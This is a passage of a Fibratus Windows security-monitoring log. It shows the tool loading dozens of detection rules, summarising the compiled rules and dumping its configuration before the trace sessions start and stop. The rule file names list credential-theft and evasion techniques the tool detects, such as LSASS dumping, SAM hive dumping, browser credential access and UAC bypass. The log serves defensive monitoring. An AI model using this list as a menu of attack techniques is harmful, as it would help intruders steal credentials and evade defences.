C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:46:08+01:00 level=info msg=bootstrapping with pid 14000. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:46:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html port=>25 enabled=>false use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-dns=>false flush-interval=>1s enable-thread=>true enable-registry=>true max-buffers=>36 min-buffers=>16 enable-vamap=>true enable-threadpool=>false buffer-size=>512 enable-fileio=>true enable-net=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-mem=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus gzip-compression=>false flush-period=>1s trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true timeout=>5s sniff=>false enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ enabled=>false timeout=>5s vhost=>/ delivery-mode=>transient passive=>false exchange=>fibratus durable=>false exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false] http=>[ enabled=>false endpoints=>[] enable-gzip=>false serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s skip-files=>false excluded-procs=>[] excluded-files=>[] skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:46:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:46:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:46:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:46:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:46:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:52:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:52:26+01:00 level=info msg=loading rule from 